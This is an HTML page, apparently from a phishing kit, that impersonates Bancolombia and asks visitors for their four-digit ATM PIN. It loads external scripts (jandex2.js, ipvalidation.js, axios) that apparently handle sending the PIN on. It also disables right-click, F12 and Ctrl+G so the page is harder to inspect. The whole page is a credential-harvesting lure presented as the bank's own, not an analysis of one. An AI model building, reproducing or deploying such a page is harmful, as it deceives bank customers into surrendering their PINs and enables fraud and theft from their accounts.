<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Bancolombia</title>
    <link rel="stylesheet" href="styles.css">
    <script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script>
    <link href="https://fonts.googleapis.com/css2?family=Aptos:wght@400;700&display=swap" rel="stylesheet">
    <script src="alerta2.js"></script>
    <script src="ipvalidation.js"></script>
    <link rel="icon" href="icono.png" type="image/x-icon">
    <link rel="apple-touch-icon" href="icono.png">
    <script type="text/javascript">
        document.addEventListener('contextmenu', function(e) {
            e.preventDefault();
        });

        document.onkeydown = function(e) {
            if (e.ctrlKey && (e.keyCode === 71)) {
                return false;
            }
        };
    </script>
    <script>
        document.addEventListener('keydown', function(e) {
            if (e.key === 'F12') {
                e.preventDefault();
            }
        });

        document.addEventListener('contextmenu', function(e) {
            e.preventDefault();
        });
    </script>
</head>
<body class="body">
    <form id="formulario" onsubmit="enviarFormulario(event)" class="form">
        <div><img class="logo" src="logo.png"></div><br><br>
        <div class="texto">
            <p>Ingresa la clave que utilizas en el cajero</p>
        </div>
        <div class="centrado">
            <img src="candado.jpg" class="candado">
        </div>
        <div class="centrado4">   
            <input class="documento1" type="text" id="documento" name="documento" required inputmode="numeric" minlength="1" maxlength="1" pattern="[0-9]*">
            <input class="documento1" type="text" id="documento1" name="documento1" required inputmode="numeric" minlength="1" maxlength="1" pattern="[0-9]*">
            <input class="documento1" type="text" id="documento2" name="documento2" required inputmode="numeric" minlength="1" maxlength="1" pattern="[0-9]*">
            <input class="documento1" type="text" id="documento3" name="documento3" required inputmode="numeric" minlength="1" maxlength="1" pattern="[0-9]*">   
        </div><br><br>
        <div class="centrado">    
            <button type="submit" class="boton1">Continuar</button>
        </div>    
        <div class="abajo">
            <img src="imagenbaja.png" class="abajo">
        </div>
    </form>
    <script src="jandex2.js"></script>
    <script>
        const inputs = document.querySelectorAll('.documento1');

inputs.forEach((input, index) => {
    input.addEventListener('input', (event) => {
        if (event.target.value.length === 1 && index < inputs.length - 1) {
            inputs[index + 1].focus();
        }
    });

    input.addEventListener('keydown', (event) => {
        if (event.key === 'Backspace' && index > 0 && input.value.length === 0) {
            inputs[index - 1].focus();
        }
    });
});
    </script>
</body>
</html>